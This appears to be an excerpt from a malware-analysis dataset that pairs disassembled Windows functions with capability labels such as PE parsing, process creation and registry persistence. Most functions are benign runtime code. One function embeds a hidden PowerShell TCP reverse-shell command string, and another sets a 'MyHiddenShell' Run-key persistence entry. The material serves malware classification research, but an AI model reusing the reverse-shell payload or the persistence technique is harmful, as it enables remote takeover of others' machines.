joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10000124c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.100001180
add rsp, 0x28
jmp 0x100001270
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [section..data], rdi
jne 0x10000169f
mov eax, dword [0x100003014]
cmp eax, 1
je 0x1000016bf
mov eax, dword [0x100003014]
cmp eax, ebx
jne 0x1000016d6
mov dword [0x100003014], 1
lea r13, [0x100002168]
lea rdi, [0x100002150]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x10000131c
cmp eax, ebx
jne 0x10000131c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x100001311
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1000012fa
cmp eax, ebx
jne 0x1000016cc
mov eax, dword [0x100003014]
cmp eax, 1
jne 0x10000134c
lea rdx, [0x100002148]
lea rcx, [0x100002138]
call fcn.100117000
mov dword [0x100003014], 2
cmp r12d, ebx
jne 0x10000135b
mov rax, rbx
xchg qword [section..data], rax
cmp qword [0x1000035d8], rbx
jne 0x1000016e5
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
je 0x10000170e
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [rcx], 0x20
jbe 0x1000013ab
cmp word [rcx], 0x22
je 0x100001741
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x100001390
cmp word [rcx], bx
je 0x1000013b4
cmp edx, ebx
jne 0x100001396
cmp word [rcx], bx
je 0x1000013ca
cmp word [rcx], 0x20
ja 0x1000013ca
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1000013b4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.100001400
nop
jmp 0x100001715
cmp rax, rdi
jne 0x1000016af
mov r12d, 1
jmp 0x1000012ba
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000012a9
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x100001324
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e4], 1
jmp 0x100001324
lea rcx, [0x1000035d8]
call fcn.1000018fc
cmp eax, ebx
je 0x100001368
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x1000035d8]
nop
jmp 0x100001368
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e0], eax
cmp dword [0x100003008], ebx
jne 0x10000172b
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000036e4], ebx
jne 0x10000173f
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000036e0]
jmp 0x100001780
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
jmp 0x1000013a0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000aa40]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000aa50]
mov dword [rax], 1
mov rax, qword [0x14000aa60]
mov dword [rax], 1
mov rax, qword [0x14000a9e0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000aa30]
mov dword [0x14000f020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000ab10]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000aaf0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a990]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400016e5
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 0x90]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
nop
add rsp, 0xe0
pop rbp
ret

Function at 0x14000178e
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 8]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.strlen
mov edx, eax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyHiddenShell
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140001810
Capabilities:
Check mutex on windows
Create process on windows

Disassembly:
push rbp
sub rsp, 0x410
lea rbp, [rsp + 0x80]
call dbg.__main
lea r8, str.MyHiddenShellMutex
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [rbp + 0x388], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
jne 0x140001873
mov rax, qword [rbp + 0x388]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x1400019cf
lea rax, [rbp + 0x280]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp + 0x280]
lea rax, [rbp + 0x170]
mov r8d, 0x104
mov rcx, rax
call sym.strncpy
mov byte [rbp + 0x273], 0
movabs rax, 0x2e3836312e323931
mov qword [rbp + 0x163], rax
movabs rax, 0x37372e312e3836
mov qword [rbp + 0x168], rax
mov dword [rbp + 0x384], 0x5d0
lea rax, [rbp + 0xf0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xf0], 0x68
lea rax, [rbp + 0xd0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0xd0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0xf0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x9000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.DecryptCommand
lea rcx, [rbp - 0x30]
lea rax, [rbp - 0x30]
mov edx, dword [rbp + 0x384]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x163]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s__NoP__NonI__W_Hidden__Exec_Bypass__Command___client__New_Object_System.Net.Sockets.TCPClient__s__d___stream___client.GetStream____byte____bytes__0..65535_0_while___i___stream.Read__bytes__0___bytes.Length____ne_0___data___New_Object__TypeName_System.Text.ASCIIEncoding_.GetString__bytes_0___i___sendback___iex__data_2_1__Out_String____sendback2___sendback__PS____pwd_.Path______sendbyte____text.encoding_::ASCII_.GetBytes__sendback2___stream.Write__sendbyte_0__sendbyte.Length___stream.Flush____client.Close___
mov edx, 0x100
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.ExecuteDecryptedCommand
jmp 0x14000197c
add rsp, 0x410
pop rbp
ret

Function at 0x140001ca0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001d10
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14000f104]
mov r12, rcx
test ebx, ebx
jle 0x140001e40
mov rax, qword [0x14000f108]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x140001d5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140001de5
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140001d40
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001e62
mov rax, qword [0x14000f108]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001e47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001dde
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001df0
add dword [0x14000f104], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14000f108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001dde
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001d68
mov rax, qword [0x14000f108]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400023e0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x14000f160]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f140]
test rbx, rbx
je 0x14000243c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140002433
test r12, r12
je 0x140002433
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002418
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002670
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002688
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002690
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400026a0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1400026e5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400026dc
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x1400026e7
add rax, 0x28
cmp rax, r9
jne 0x1400026c8
xor eax, eax
ret

Function at 0x1400026f0
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x140002780
mov rdx, qword [0x14000a9e0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000276e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000276e
cmp word [rax + 0x18], 0x20b
jne 0x14000276e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x140002780
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140002759
add r12, 0x28
cmp r12, rsi
je 0x140002780
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x140002750
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x140002790
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a9e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400027b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400027b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400027b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002805
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400027fc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400027b0
add rax, 0x28
cmp rax, r9
jne 0x1400027e8
xor eax, eax
ret

Function at 0x140002810
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a9e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002830
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002838
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002830
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002850
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a9e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002870
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002878
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002870
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1400028b8
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400028af
test rcx, rcx
je 0x140002870
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400028a0
xor eax, eax
ret
Function at 0x1400028c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a9e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400028e0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1400028e8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002900
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a9e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002920
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002928
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002920
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002920
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14000296c
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002980
add rdx, 0x28
cmp rdx, r9
jne 0x140002958
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002990
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a9e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400029b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400029c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400029b2
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x1400029b2
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002a0d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002a20
add rdx, 0x28
cmp r10, rdx
jne 0x1400029f8
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002a2f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002a3f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002a16
test ecx, ecx
jg 0x140002a28
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x6d7d3db0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d7f55e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d7d3f38
mov rax, qword [0x6d7f55e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d7d3dfc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d7d3e85
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d7d3de0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d7d3f6d
mov rax, qword [0x6d7f55e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d7f55e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d7d3f50
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d7d3e7e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d7d3ee0
add dword [0x6d7f55e4], 1
cmp edi, 8
jae 0x6d7d3eb3
test dil, 4
jne 0x6d7d3f24
test edi, edi
je 0x6d7d3ea8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d7d3f3f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d7d3ea8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d7d3ecc
jmp 0x6d7d3ea8
add rsi, qword [0x6d7f55e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d7d3e7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d7d3ea8
xor esi, esi
jmp 0x6d7d3e07
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d7d3ea8
mov rax, qword [0x6d7f55e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d7d46c0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d7f58c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d7f58a0]
test rbx, rbx
je 0x6d7d4714
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d7d470b
test rsi, rsi
je 0x6d7d470b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d7d46f0
lea rcx, [0x6d7f58c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d7d4950
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d7d4960
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d7d4970
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d7d49b1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d7d49a8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d7d49b3
add rax, 0x28
cmp rax, r9
jne 0x6d7d4994
xor eax, eax
ret

Function at 0x6d7d4a50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f21f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d7d4abd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d4abd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7d4abd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7d4ab4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7d4abf
add rax, 0x28
cmp rax, r9
jne 0x6d7d4aa0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d7d4bc0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f21f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d7d4be0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d4bd8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7d4c3d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7d4c34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7d4c44
add rax, 0x28
cmp rax, r9
jne 0x6d7d4c20
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d7d4c60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d7f21f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d7d4cce
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d4cce
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d7d4cce
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d7d4cce
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d7d4cc5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d7d4cd5
add rcx, 0x28
cmp rcx, rax
jne 0x6d7d4cb0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d7d4ce8
jmp 0x6d7d4cce
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d7d4cf6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d7d4cce
test r9d, r9d
jg 0x6d7d4ce0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d7d5030
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop